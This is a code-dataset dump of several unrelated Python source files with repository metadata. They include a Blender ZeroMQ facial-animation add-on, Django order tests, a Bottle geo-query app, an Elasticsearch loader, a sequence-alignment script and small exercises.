SOCKET_OT_connect_subscriber(bpy.types.Operator):\n \"\"\"Manages the binding of a subscriber ZeroMQ socket and processing the received data\"\"\"\n # Use this as a tooltip for menu items and buttons.\n\n bl_idname = \"socket.connect_subscriber\" # Unique identifier for buttons and menu items to reference.\n bl_label = \"Connect socket\" # Display name in the interface.\n bl_options = {'REGISTER', 'UNDO'} # Enable undo for the operator; UNTESTED\n statetest = \"Nothing yet...\"\n\n def execute(self, context): # execute() is called when running the operator.\n \"\"\"Either sets-up a ZeroMQ subscriber socket and make timed_msg_poller active,\n or turns-off the timed function and shuts-down the socket.\"\"\"\n\n # if this operator can be triggered thought an interface button, pyzmq has been installed\n import zmq\n\n # get access to our Properties defined in BlendzmqPreferences() (__init__.py)\n preferences = context.preferences.addons[__package__].preferences\n # get access to our Properties in FACSvatarProperties() (blendzmq_props.py)\n self.socket_settings = context.window_manager.socket_settings\n\n # connect our socket if it wasn't and call Blender's timer function on self.timed_msg_poller\n if not self.socket_settings.socket_connected:\n # scene info\n self.frame_start = context.scene.frame_current\n\n self.report({'INFO'}, \"Connecting ZeroMQ socket...\")\n # create a ZeroMQ context\n self.zmq_ctx = zmq.Context().instance()\n # connect to ip and port specified in interface (blendzmq_panel.py)\n self.url = f\"tcp://{preferences.socket_ip}:{preferences.socket_port}\"\n # store our connection in Blender's WindowManager for access in self.timed_msg_poller()\n bpy.types.WindowManager.socket_sub = self.zmq_ctx.socket(zmq.SUB)\n bpy.types.WindowManager.socket_sub.connect(self.url) # publisher connects to this (subscriber)\n bpy.types.WindowManager.socket_sub.setsockopt(zmq.SUBSCRIBE, ''.encode('ascii'))\n self.report({'INFO'}, \"Sub connected to: {}\\nWaiting for data...\".format(self.url))\n\n # poller socket for checking server replies (synchronous - not sure how to use async with Blender)\n self.poller = zmq.Poller()\n self.poller.register(bpy.types.WindowManager.socket_sub, zmq.POLLIN)\n\n # let Blender know our socket is connected\n self.socket_settings.socket_connected = True\n\n # reference to selected objects at start of data stream;\n # a copy is made, because this is a pointer (which is updated when another object is selected)\n self.selected_objs = bpy.context.scene.view_layers[0].objects.selected.items().copy() # .active\n\n # have Blender call our data listening function in the background\n bpy.app.timers.register(self.timed_msg_poller)\n # bpy.app.timers.register(partial(self.timed_msg_poller, context))\n\n # stop ZMQ poller timer and disconnect ZMQ socket\n else:\n print(self.statetest)\n # cancel timer function with poller if active\n if bpy.app.timers.is_registered(self.timed_msg_poller):\n bpy.app.timers.unregister(self.timed_msg_poller())\n\n # Blender's property socket_connected might say connected, but it might actually be not;\n # e.g. on Add-on reload\n try:\n # close connection\n bpy.types.WindowManager.socket_sub.close()\n self.report({'INFO'}, \"Subscriber socket closed\")\n except AttributeError:\n self.report({'INFO'}, \"Subscriber was socket not active\")\n\n # let Blender know our socket is disconnected\n bpy.types.WindowManager.socket_sub = None\n self.socket_settings.socket_connected = False\n\n return {'FINISHED'} # Lets Blender know the operator finished successfully.\n\n def timed_msg_poller(self): # context\n \"\"\"Keeps listening to integer values and uses that to move (previously) selected objects\"\"\"\n\n socket_sub = bpy.types.WindowManager.socket_sub\n\n # only keep running if socket reference exist (not None)\n if socket_sub:\n # get sockets with messages (0: don't wait for msgs)\n sockets = dict(self.poller.poll(0))\n # check if our sub socket has a message\n if socket_sub in sockets:\n # get the message\n topic, timestamp, msg = socket_sub.recv_multipart()\n # print(\"On topic {}, received data: {}\".format(topic, msg))\n # turn bytes to json string\n msg = msg.decode('utf-8')\n # context stays the same as when started?\n self.socket_settings.msg_received = msg\n # check if we didn't receive None (final message)\n if msg:\n # turn json string to dict\n msg = json.loads(msg)\n\n # update selected obj only if property `dynamic_object` is on (blendzmq_props.py)\n if self.socket_settings.dynamic_object:\n # only active object (no need for a copy)\n # self.selected_obj = bpy.context.scene.view_layers[0].objects.active\n # collections work with pointers and doesn't keep the old reference, therefore we need a copy\n self.selected_objs = bpy.context.scene.view_layers[0].objects.selected.items().copy()\n\n # if we only wanted to update the active object with `.objects.active`\n # self.selected_obj.location.x = move_val\n # move all (previously) selected objects' x coordinate to move_val\n for obj in self.selected_objs:\n # TODO check if FACS compatible model\n try:\n insert_frame = self.frame_start + msg['frame']\n\n # set blendshapes only if blendshape data is available and not empty\n if self.socket_settings.facial_configuration and 'blendshapes' in msg and msg['blendshapes']:\n # obj[1] == bpy.data.objects['mb_model']\n self.set_blendshapes(obj[1], msg['blendshapes'], insert_frame)\n else:\n self.report({'INFO'}, \"No blendshape data found in received msg\")\n\n # set pose only if bone rotation is on, pose data is available and not empty\n if self.socket_settings.rotate_head and 'pose' in msg and msg['pose']:\n # obj[1] == bpy.data.objects['mb_model']\n self.set_head_neck_pose(obj[1], msg['pose'], insert_frame)\n else:\n self.report({'INFO'}, \"No pose data found in received msg\")\n except:\n self.report({'WARNING'}, \"Object likely not a support model\")\n\n else:\n self.socket_settings.msg_received = \"Last message received.\"\n\n # keep running and check every 0.1 millisecond for new ZeroMQ messages\n return 0.001\n\n # no return stops the timer to this function\n\n def set_blendshapes(self, obj, blendshape_data, insert_frame):\n # set all shape keys values\n # bpy.context.scene.objects.active = self.mb_body\n for bs in blendshape_data:\n # skip setting shape keys for breathing from data\n if not bs.startswith(\"Expressions_chestExpansion\"):\n # print(bs)\n # MB fix Caucasian female\n # if not bs == \"Expressions_eyeClosedR_max\":\n val = blendshape_data[bs]\n # obj[bs].value = val\n obj.data.shape_keys.key_blocks[bs].value = val\n # save as key frames if enabled\n if self.socket_settings.keyframing:\n obj.data.shape_keys.key_blocks[bs] \\\n .keyframe_insert(data_path=\"value\", frame=insert_frame)\n\n # TODO make faster (with quaternions?)\n def set_head_neck_pose(self, obj, pose_data, insert_frame):\n # get head and neck bone for rotation\n head_bones = [obj.parent.pose.bones['head'], obj.parent.pose.bones['neck']]\n for bone in head_bones:\n # https://blender.stackexchange.com/questions/28159/how-to-rotate-a-bone-using-python\n # Set rotation mode to Euler XYZ, easier to understand than default quaternions\n bone.rotation_mode = 'XYZ'\n\n if self.socket_settings.mirror_head:\n mirror_head = -1\n else:\n mirror_head = 1\n\n # in case we filter data\n if 'pose_Rx' in pose_data:\n self.rotate_head_bones(head_bones, 0, pose_data['pose_Rx'], 1) # pitch\n if 'pose_Ry' in pose_data:\n self.rotate_head_bones(head_bones, 1, pose_data['pose_Ry'], -1 * mirror_head) # jaw\n if 'pose_Rz' in pose_data:\n self.rotate_head_bones(head_bones, 2, pose_data['pose_Rz'], -1 * mirror_head) # roll\n\n # save as key frames if enabled\n if self.socket_settings.keyframing:\n head_bones[0].keyframe_insert(data_path=\"rotation_euler\", frame=insert_frame)\n head_bones[1].keyframe_insert(data_path=\"rotation_euler\", frame=insert_frame)\n\n # match head pose name with bones in blender\n def rotate_head_bones(self, head_bones, xyz, pose, inv=1):\n # print(f\"Rotate value: {pose}\")\n # head bone\n # print(head_bones[0].rotation_euler[xyz])\n head_bones[0].rotation_euler[xyz] = pose * .95 * inv\n # print(head_bones[0].rotation_euler[xyz])\n # neck bone\n head_bones[1].rotation_euler[xyz] = pose * .5 * inv\n\n\nclass PIPZMQ_OT_pip_pyzmq(bpy.types.Operator):\n \"\"\"Enables and updates pip, and installs pyzmq\"\"\" # Use this as a tooltip for menu items and buttons.\n\n bl_idname = \"pipzmq.pip_pyzmq\" # Unique identifier for buttons and menu items to reference.\n bl_label = \"Enable pip & install pyzmq\" # Display name in the interface.\n bl_options = {'REGISTER'}\n\n def execute(self, context): # execute() is called when running the operator.\n install_props = context.window_manager.install_props\n\n # enable/import pip\n py_exec = self.ensure_pip(install_props=install_props)\n # update pip to latest version; not necessary anymore (tested 2.93 LTS & 3.3 LTS)\n if bpy.app.version[0] == 2 and bpy.app.version[1] < 91:\n self.update_pip(install_props=install_props, py_exec=py_exec)\n # install PyZMQ\n self.install_pyzmq(install_props=install_props, py_exec=py_exec)\n\n return {'FINISHED'} # Lets Blender know the operator finished successfully\n\n def ensure_pip(self, install_props):\n # TODO check permission rights\n # TODO Windows ask for permission:\n # https://stackoverflow.com/questions/130763/request-uac-elevation-from-within-a-python-script\n # TODO pip install with `--user` to prevent problems on Windows?\n # https://stackoverflow.com/questions/11161901/how-to-install-python-modules-in-blender\n\n # pip in Blender:\n # https://blender.stackexchange.com/questions/139718/install-pip-and-packages-from-within-blender-os-independently/\n # pip 2.81 issues: https://developer.blender.org/T71856\n\n # no pip enabled by default version < 2.81\n install_props.install_status = \"Preparing to enable pip...\"\n self.report({'INFO'}, \"Preparing to enable pip...\")\n if bpy.app.version[0] == 2 and bpy.app.version[1] < 81:\n # find python binary OS independent (Windows: bin\\python.exe; Linux: bin/python3.7m)\n py_path = Path(sys.prefix) / \"bin\"\n py_exec = str(next(py_path.glob(\"python*\"))) # first file that starts with \"python\" in \"bin\" dir\n\n if subprocess.call([py_exec, \"-m\", \"ensurepip\"]) != 0:\n install_props.install_status += \"\\nCouldn't activate pip.\"\n self.report({'ERROR'}, \"Couldn't activate pip.\")\n return {'CANCELLED'}\n\n # from 2.81 pip is enabled by default\n else:\n try:\n # will likely fail the first time, but works after `ensurepip.bootstrap()` has been called once\n import pip\n\n install_props.install_status += \"\\nPip imported!\"\n self.report({'INFO'}, \"Pip imported!\")\n # pip not enabled\n except ModuleNotFoundError as e:\n # only first attempt will reach here\n print(\"Pip import failed with: \", e)\n install_props.install_status += \"\\nPip not activated, trying bootstrap()\"\n self.report({'ERROR'}, \"Pip not activated, trying bootstrap()\")\n try:\n import ensurepip\n ensurepip.bootstrap()\n except: # catch *all* exceptions\n e = sys.exc_info()[0]\n install_props.install_status += \"\\nPip not activated, trying bootstrap()\"\n self.report({'ERROR'}, \"Pip not activated, trying bootstrap()\")\n print(\"bootstrap failed with: \", e)\n\n install_props.install_status += \"\\nPip activated!\"\n self.report({'INFO'}, \"Pip activated!\")\n # 2.81 >= Blender < 2.91\n if bpy.app.version[0] == 2 and bpy.app.version[1] < 91:\n py_exec = bpy.app.binary_path_python\n # (tested on 2.93 LTS & 3.3 LTS) Blender >= 2.91\n else:\n py_exec = sys.executable\n\n return py_exec\n\n def update_pip(self, install_props, py_exec):\n install_props.install_status += \"\\nTrying pip upgrade...\"\n self.report({'INFO'}, \"Trying pip upgrade...\")\n\n # pip update\n try:\n output = subprocess.check_output([py_exec, '-m', 'pip', 'install', '--upgrade', 'pip'])\n print(output)\n except subprocess.CalledProcessError as e:\n install_props.install_status += \"\\nCouldn't update pip. Please restart Blender and try again.\"\n self.report({'ERROR'}, \"Couldn't update pip. Please restart Blender and try again.\")\n print(e.output)\n return {'CANCELLED'}\n install_props.install_status += \"\\nPip working!\"\n self.report({'INFO'}, \"Pip working!\")\n\n def install_pyzmq(self, install_props, py_exec):\n install_props.install_status += \"\\nTrying pyzmq install...\"\n self.report({'INFO'}, \"Trying pyzmq install...\")\n\n # pyzmq pip install\n try:\n output = subprocess.check_output([py_exec, '-m', 'pip', 'install', 'pyzmq==24.0.*'])\n print(output)\n except subprocess.CalledProcessError as e:\n install_props.install_status += \"\\nCouldn't install pyzmq.\"\n self.report({'ERROR'}, \"Couldn't install pyzmq.\")\n print(e.output)\n return {'CANCELLED'}\n\n install_props.install_status += \"\\npyzmq installed! READY!\"\n self.report({'INFO'}, \"pyzmq installed! READY!\")\n\n\ndef register():\n bpy.utils.register_class(PIPZMQ_OT_pip_pyzmq)\n bpy.utils.register_class(SOCKET_OT_connect_subscriber)\n\n\ndef unregister():\n bpy.utils.unregister_class(SOCKET_OT_connect_subscriber)\n bpy.utils.register_class(PIPZMQ_OT_pip_pyzmq)\n\n\nif __name__ == \"__main__\":\n register()\n","repo_name":"NumesSanguis/FACSvatar-Blender","sub_path":"facsvatar_ops.py","file_name":"facsvatar_ops.py","file_ext":"py","file_size_in_byte":15887,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"61"} +{"seq_id":"24567440723","text":"from datetime import datetime\n\nfrom django.core.exceptions import ValidationError\nfrom django.test import TestCase\n\nfrom ..models import Order, Rating\nfrom .dbsetup import setup1\n\n\nclass OrderModelTest(TestCase):\n def setUp(self):\n setup1(self)\n\n def test_creation(self):\n \"\"\"Basic creation test\"\"\"\n order = Order.objects.create(user=self.user)\n self.assertEqual(order.user, self.user)\n self.assertEqual(Order.objects.count(), 1)\n self.assertEqual(order.foods.count(), 0)\n self.assertEqual(order.tags.count(), 0)\n self.assertTrue(order.created)\n\n def test_add_food(self):\n \"\"\"Test adding food to order\"\"\"\n order = Order.objects.create(user=self.user)\n order.foods.add(self.food2)\n self.assertEqual(order.foods.count(), 1)\n self.assertEqual(order.foods.first(), self.food2)\n self.assertEqual(order.restaurant, self.food2.restaurant)\n\n def test_add_food_twice(self):\n \"\"\"Test adding food to order twice\"\"\"\n order = Order.objects.create(user=self.user)\n order.foods.add(self.food2)\n order.foods.add(self.food2)\n self.assertEqual(order.foods.count(), 1)\n self.assertEqual(order.foods.first(), self.food2)\n self.assertEqual(order.restaurant, self.restaurant2)\n\n def test_add_different_restaurant_foods_fail(self):\n \"\"\"Test adding food from different restaurants to order\"\"\"\n order = Order.objects.create(user=self.user)\n order.foods.add(self.food)\n with self.assertRaises(ValidationError):\n order.foods.add(self.food3)\n\n def test_add_different_restaurant_foods_fail2(self):\n \"\"\"Test adding food from two different restaurants to order\"\"\"\n order = Order.objects.create(user=self.user)\n with self.assertRaises(ValidationError):\n order.foods.add(self.food, self.food2)\n\n def test_create_order_method(self):\n \"\"\"Test create_order method\"\"\"\n order = Order.create_order(\n restaurant_name=\"new restaurant\",\n url=\"https://newrestaurant.com\",\n foods=[\n {\n \"name\": \"chicken sandwich\",\n \"rating\": 5,\n \"tags\": [\"burger\", \"chicken\"],\n \"comment\": \"very good\",\n }\n ],\n user=self.user,\n )\n self.assertEqual(order.user, self.user)\n self.assertEqual(order.restaurant.name, \"new restaurant\")\n self.assertEqual(order.restaurant.url, \"https://newrestaurant.com\")\n self.assertEqual(order.foods.count(), 1)\n self.assertEqual(order.foods.first().name, \"chicken sandwich\")\n user_rating = Rating.objects.filter(user=self.user, food=order.foods.first())\n self.assertEqual(user_rating.count(), 1)\n user_rating = user_rating.first()\n self.assertEqual(user_rating.rating, 5)\n self.assertEqual(user_rating.comment, \"very good\")\n self.assertEqual(order.foods.first().tags.count(), 2)\n\n def test_create_order_duplicate_food(self):\n \"\"\"\n Test create_order method with duplicate food.\n Order should only create unique foods\n \"\"\"\n order = Order.create_order(\n restaurant_name=\"new restaurant\",\n url=\"https://newrestaurant.com\",\n foods=[\n {\n \"name\": \"chicken sandwich\",\n \"rating\": 5,\n \"tags\": [\"burger\", \"chicken\"],\n \"comment\": \"very good\",\n },\n {\n \"name\": \"chicken sandwich\",\n \"rating\": 3,\n \"tags\": [\"burger\", \"chicken\"],\n \"comment\": \"very good\",\n },\n ],\n user=self.user,\n )\n self.assertEqual(order.user, self.user)\n self.assertEqual(order.foods.count(), 1)\n self.assertEqual(order.foods.first().name, \"chicken sandwich\")\n user_rating = Rating.objects.filter(user=self.user, food=order.foods.first())\n self.assertEqual(user_rating.count(), 1)\n user_rating = user_rating.first()\n self.assertEqual(user_rating.rating, 3)\n\n def test_order_serialize(self):\n \"\"\"Test serialize method\"\"\"\n order = Order.create_order(\n restaurant_name=\"new restaurant\",\n url=\"https://newrestaurant.com\",\n foods=[\n {\n \"name\": \"chicken sandwich\",\n \"rating\": 3,\n \"tags\": [\"burger\", \"chicken\"],\n \"comment\": \"very good\",\n },\n ],\n user=self.user,\n )\n serialized = order.serialize(self.user)\n self.assertEqual(serialized[\"id\"], order.id)\n self.assertEqual(serialized[\"restaurant\"], order.restaurant.name)\n self.assertEqual(serialized[\"url\"], order.restaurant.url)\n self.assertEqual(\n serialized[\"tags\"], list(order.tags.values_list(\"name\", flat=True))\n )\n self.assertEqual(serialized[\"order_date\"], order.created_str)\n self.assertEqual(serialized[\"foods\"][0][\"name\"], \"chicken sandwich\")\n self.assertEqual(serialized[\"foods\"][0][\"name\"], \"chicken sandwich\")\n self.assertEqual(serialized[\"foods\"][0][\"rating\"], 3)\n self.assertEqual(serialized[\"foods\"][0][\"tags\"], [\"burger\", \"chicken\"])\n self.assertEqual(serialized[\"foods\"][0][\"comment\"], \"very good\")\n","repo_name":"badmagick329/TakeawayRater","sub_path":"takeawayrater/backend/api/tests/test_order.py","file_name":"test_order.py","file_ext":"py","file_size_in_byte":5519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4464244823","text":"import bottle\nfrom bottle import run, route, default_app\nfrom bottle import static_file, response, template, request\nfrom bottle import jinja2_view as view\nfrom google.appengine.ext import db\n\nfrom geo import geotypes\n\nimport item\nfrom item import Item\nitem.insert_def_items()\n\n@route('/')\n@view('static/views/index.html')\ndef main_page():\n return {}\n\n@route('/submit')\n@view('static/views/submit.html')\ndef submit_item():\n return {}\n\n@route('/item/latest')\ndef latest_items():\n response.content_type = 'application/json'\n items = db.GqlQuery( \"SELECT * FROM Item\").fetch(10)\n return results_dump(items)\n\n\n#http://localhost:8082/item/nearby?type=center&lat=31.199&lon=121.587&maxresults=10&maxdistance=10000\n#http://localhost:8082/item/nearby?type=box&north=33.297&east=122.687&south=30.000&west=121.200&maxresults=100\n@route('/item/nearby')\ndef nearby_items():\n response.content_type = 'application/json'\n \n if (nearby_param_validate(request) == False):\n return {'status':'error-query-paras'}\n \n try:\n if (request.query.type == 'box'):\n bounds = geotypes.Box(float(request.query.north), float(request.query.east),\n float(request.query.south), float(request.query.west))\n elif (request.query.type == 'center'):\n center = geotypes.Point(float(request.query.lat), float(request.query.lon))\n except:\n return {'status':'invalid-query-paras'}\n \n max_results = int(request.query.maxresults or '100')\n max_distance = float(request.query.maxdistance or '80000') # 80 km ~ 50 mi\n \n try:\n base_query = Item.all()\n if (request.query.type == 'box'):\n results = Item.bounding_box_fetch(base_query, bounds, max_results = max_results)\n elif (request.query.type == 'center'):\n results = Item.proximity_fetch(base_query, center, max_results = max_results, max_distance=max_distance)\n return results_dump(results)\n except:\n return {'status':'error-database-query'}\n\ndef results_dump(items):\n if len(items) == 0 :\n return {'status':'non-results'}\n \n result_obj = []\n for item in items :\n item_dict = {}\n item_dict['title'] = item.title\n item_dict['user'] = item.user\n item_dict['price'] = item.price\n item_dict['desc'] = item.desc\n item_dict['latlng'] = {}\n item_dict['latlng']['lat'] = item.location.lat\n item_dict['latlng']['lng'] = item.location.lon\n result_obj.append(item_dict)\n return {'status':'success', 'num': len(items), 'results' : result_obj}\n\ndef nearby_param_validate(request):\n if (request.query.type):\n if (request.query.type == 'box'):\n if (request.query.north and request.query.east and request.query.south and request.query.west):\n return True\n elif (request.query.type == 'center'):\n if (request.query.lat and request.query.lon):\n return True\n return False\n\n\n@route('/static/css/:filename')\ndef server_static(filename):\n return static_file(filename, root='static/css')\n\n@route('/static/js/:filename')\ndef server_static(filename):\n return static_file(filename, root='static/js')\n\n@route('/static/:filename')\ndef server_static(filename):\n return static_file(filename, root='static')\n\n@route('/static/img/:filename')\ndef server_static(filename):\n return static_file(filename, root='static/img')\n\n\n\n\nbottle.debug(True)\napp = default_app()\n\n\n \n","repo_name":"damond-hedley-enview/fun_projects","sub_path":"examples/gae-google-maps-example/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20831184117","text":"#!/usr/bin/env python\n# Licensed to Elasticsearch B.V under one or more agreements.\n# Elasticsearch B.V licenses this file to you under the Apache 2.0 License.\n# See the LICENSE file in the project root for more information\n\n\"\"\"Script that downloads a public dataset and streams it to an Elasticsearch cluster\"\"\"\n\nimport json\nfrom os.path import abspath, join, dirname\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch.helpers import streaming_bulk\n\n\n\nDATASET_PATH = join(dirname(abspath(__file__)), \"dummy.json\")\nCHUNK_SIZE = 16384\n\ndef create_index(client):\n \"\"\"Creates an index in Elasticsearch if one isn't already there.\"\"\"\n client.indices.create(\n index=\"offer\",\n body={\n \"mappings\": {\n \"properties\": {\n \"offerID\": { \"type\": \"keyword\" },\n \"title\": { \"type\": \"text\" },\n \"description\": { \"type\": \"text\" },\n \"permalink\": { \"type\": \"text\" },\n \"thumb\": { \"type\": \"text\" },\n \"images\": { \"type\": \"text\" },\n \"ISactive\": { \"type\": \"boolean\" },\n \"authorID\": { \"type\": \"keyword\" },\n \"platformINcountryID\": { \"type\": \"keyword\" },\n \"offerCategory\": { \"type\": \"keyword\" },\n \"sourceID\": { \"type\": \"keyword\" },\n \"tagID\": { \"type\": \"text\" },\n \"tags\": { \"type\": \"text\" },\n \"offerRisk\": { \"type\": \"boolean\" },\n \"updated\": { \"type\": \"date\" },\n \"created\": { \"type\": \"date\" },\n \"author\": {\n \"properties\": {\n \"authorID\": { \"type\": \"keyword\" },\n \"authorName\": { \"type\": \"keyword\" },\n \"cityName\": { \"type\": \"keyword\" },\n \"stateName\": { \"type\": \"keyword\" },\n \"countryName\": { \"type\": \"keyword\" },\n \"countryCode\": { \"type\": \"text\" },\n \"platformINcountryID\": { \"type\": \"keyword\" },\n \"permalink\": { \"type\": \"text\" },\n \"ISactive\": { \"type\": \"boolean\" },\n \"updated\": { \"type\": \"date\" },\n \"created\": { \"type\": \"date\" },\n \"authorData\": {\n \"properties\": {\n }\n }\n }\n },\n \"offerData\": {\n \"properties\": {\n \"price\": {\n \"properties\": {\n \"key_name\": {\n \"type\": \"text\",\n \"fields\": {\n \"keyword\": {\n \"type\": \"keyword\",\n \"ignore_above\": 256}}},\"send_to_mysql\": {\"type\": \"boolean\"},\"value\": {\"type\": \"float\"}}}}}}},\n \"settings\": {\n \"index\": {\n \"number_of_replicas\": 2,\n \"number_of_shards\": 5}}},\n ignore=400,\n )\n\n\ndef generate_actions():\n \"\"\"Reads the file through csv.DictReader() and for each row\n yields a single document. This function is passed into the bulk()\n helper to create many documents in sequence.\n \"\"\"\n with open(DATASET_PATH) as myoffer_json:\n\n reader = json.load(myoffer_json)\n for row in reader:\n yield row\n\n\ndef main():\n print(\"Loading dataset...\")\n\n client = Elasticsearch(\n # Add your cluster configuration here!\n )\n print(\"Creating an index...\")\n create_index(client)\n\n number_of_docs = 500\n print(\"Indexing documents...\")\n successes = 0\n for ok, action in streaming_bulk(\n client=client, index=\"offer\", actions=generate_actions(),\n ):\n successes += ok\n print(\"Indexed %d/%d documents\" % (successes, number_of_docs))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"DerexScript/training-docker","sub_path":"Elastic/scripts/elasticPopulate.py","file_name":"elasticPopulate.py","file_ext":"py","file_size_in_byte":3806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41255697623","text":"import json\n\nfile_name = \"favorite_number.json\"\n\ndef get_stored_number():\n try:\n with open(file_name) as json_obj:\n number = json.load(json_obj)\n except FileNotFoundError:\n print(\"你好,文件\" + file_name + \"不存在于当前目录。\")\n return None\n else:\n return number\n\n\ndef get_new_favorite_number():\n try:\n number = input(\"请输入你最喜欢的一个数字:\")\n number = int(number)\n with open(file_name, 'w') as json_obj:\n json.dump(number, json_obj)\n except ValueError:\n print(\"输入类型不为数字,请重新运行。\")\n else:\n return number\n\n\ndef guess_fav_number():\n fav_number = get_stored_number()\n if fav_number:\n print(\"我知道了,你最喜欢的数字是\" + str(fav_number))\n else:\n fav_number = get_new_favorite_number()\n print(\"我知道了,你最喜欢的数字是\" + str(fav_number))\n\n\nguess_fav_number()","repo_name":"JaeZheng/learn_python","sub_path":"10/10-12.py","file_name":"10-12.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23544794241","text":"#!/usr/bin/python3\r\nt = int(input())\r\n\r\n\r\nfor it in range(1, t+1) :\r\n ist, ik = input().split()\r\n s = [1 if c == '+' else 0 for c in ist]\r\n k = int(ik)\r\n n = 0\r\n for i in range(len(s)-k+1) :\r\n if s[i] == 0:\r\n n += 1\r\n for j in range(i, i+k):\r\n s[j] = not s[j]\r\n if min(s) == 0: n = \"IMPOSSIBLE\"\r\n print(\"Case #%d:\"% it, n)","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/2891.py","file_name":"2891.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5084203748","text":"# Tegn_figur_3\nimport turtle\n\ndef tegn_figur(figur, color):\n\n turtle.color(color)\n if figur == 'kvadrat':\n for i in range(0, 4):\n turtle.fd(50)\n turtle.lt(90)\n turtle.fd(100)\n\n turtle.penup()\nturtle.goto(-250,0)\nturtle.pendown()\n\ntegn_figur('kvadrat','blue')\ntegn_figur('trekandt','red')\ntegn_figur('kvadrat', 'green')\ntegn_figur('trekandt', 'orange')\n\ndelay = input('Tryk på stop for at standse')","repo_name":"Per-Finnerup/foerste","sub_path":"tegn_figur_3.py","file_name":"tegn_figur_3.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74140650754","text":"#BIOINFO MIDTERM Q1\nimport numpy\n\n\n'''\nSij = max\nmax = Si-1, j-1 + M[X[i],Y[j]]\n = Si-1, j+gap\n = Si, j-1+gap\n\n'''\n\n#tacggtat\nf = open(\"string1.txt\", \"r\")\nif f.mode == 'r':\n x = (f.read())\n#ggacgtacg\nf = open(\"string2.txt\", \"r\")\nif f.mode == 'r':\n y = (f.read())\nprint(x, y)\n#gap = d\n\nmatch = input(\"what score would you like for a match?\")\ntype(match)\nmatch = int(match)\n\nmismatch = input(\"What score would you like for a mismatch?\")\ntype(mismatch)\nmismatch = int(mismatch)\n\ngap = input(\"What gap penalty would you like?\")\ntype(gap)\ngap = int(gap)\n\nmatrix = numpy.zeros(shape=(4, 4), dtype=int)\nfor m in range(4):\n for m1 in range(4):\n if(m == m1):\n matrix[m][m1] = match\n if(m != m1):\n matrix[m][m1] = mismatch\n\nprint(matrix)\n\ndef getMax (m1, m2, m3):\n max = m1\n if(m2 > m1):\n max = m2\n if(m2 > m3):\n if (m2 > max):\n max = m2\n if(m3 > m1):\n if(m3 > max):\n max = m3\n if(m3 > m2):\n if (m3 > max):\n max = m3\n return max\n\ndef getScore (i, j, g):\n m1 = 0\n m2 = 0\n m3 = 0\n max = 0\n print(i-1, j-1)\n m2 = scoreTable[i][j - 1] + g\n m3 = scoreTable[i - 1][j] + g\n #a compared to all\n if (x[j-1] == 'a' and y[i-1] == 'a'):\n m1 = scoreTable[i - 1][j - 1] + matrix[0][0]\n print(\"aa\")\n elif (x[j-1] == 'a' and y[i-1] == 'c'):\n m1 = scoreTable[i - 1][j - 1] + matrix[0][1]\n print(\"ac\")\n elif (x[j-1] == 'a' and y[i-1] == 't'):\n m1 = scoreTable[i - 1][j - 1] + matrix[0][2]\n print(\"at\")\n elif (x[j-1] == 'a' and y[i-1] == 'g'):\n m1 = scoreTable[i - 1][j - 1] + matrix[0][3]\n print(\"ag\")\n #c paired to all\n elif (x[j-1] == 'c' and y[i-1] == 'a'):\n m1 = scoreTable[i - 1][j - 1] + matrix[1][0]\n print(\"ca\")\n elif (x[j-1] == 'c' and y[i-1] == 'c'):\n m1 = scoreTable[i - 1][j - 1] + matrix[1][1]\n print(\"cc\")\n elif (x[j-1] == 'c' and y[i-1] == 't'):\n m1 = scoreTable[i - 1][j - 1] + matrix[1][2]\n print(\"ct\")\n elif (x[j-1] == 'c' and y[i-1] == 'g'):\n m1 = scoreTable[i - 1][j - 1] + matrix[1][3]\n print(\"cg\")\n #t compared to all\n elif (x[j-1] == 't' and y[i-1] == 'a'):\n m1 = scoreTable[i - 1][j - 1] + matrix[2][0]\n print(\"ta\")\n elif (x[j-1] == 't' and y[i-1] == 'c'):\n m1 = scoreTable[i - 1][j - 1] + matrix[2][1]\n print(\"tc\")\n elif (x[j-1] == 't' and y[i-1] == 't'):\n m1 = scoreTable[i - 1][j - 1] + matrix[2][2]\n print(\"tt\")\n elif (x[j-1] == 't' and y[i-1] == 'g'):\n print(\"tg\")\n m1 = scoreTable[i - 1][j - 1] + matrix[2][3]\n #g compared to all\n elif (x[j-1] == 'g' and y[i-1] == 'a'):\n m1 = scoreTable[i - 1][j - 1] + matrix[3][0]\n print(\"ga\")\n elif (x[j-1] == 'g' and y[i-1] == 'c'):\n m1 = scoreTable[i - 1][j - 1] + matrix[3][1]\n print(\"gc\")\n elif (x[j-1] == 'g' and y[i-1] == 't'):\n m1 = scoreTable[i - 1][j - 1] + matrix[3][2]\n print(\"gt\")\n elif (x[j-1] == 'g' and y[i-1] == 'g'):\n m1 = scoreTable[i - 1][j - 1] + matrix[3][3]\n print(\"gg\")\n\n max = getMax(m1, m2, m3)\n\n # if ((i == 3 and j == 4) or (i == 9 and j == 6)):\n # print(m2, m3, max)\n # print(\"HERE\")\n print(i, j, g)\n print(m1, m2, m3, max)\n return max\n\nscore = 0\n\nscoreTable = numpy.zeros(shape=(len(y)+1, len(x)+1), dtype=int)\n# r c\n# scoreTable[0][1] = 1\n\nif(len(x)>len(y)):\n g = gap * (len(y) - len(x))\nelif(len(y)> len(x)):\n g = gap * (len(x) - len(y))\nelif(len(x) == len(y)):\n g = 0\nprint(g)\n\nfor i in range(0, len(y)+1):\n for j in range(0, len(x)+1):\n #NOT A BASE CASE\n if(i != 0 and j != 0):\n score = getScore(i, j, g)\n scoreTable[i][j] = score\n #BASE CASE\n if(i == 0):\n scoreTable[i][j] = j * g\n #BASE CASE\n elif(j == 0):\n scoreTable[i][j] = i * g\n print(scoreTable, 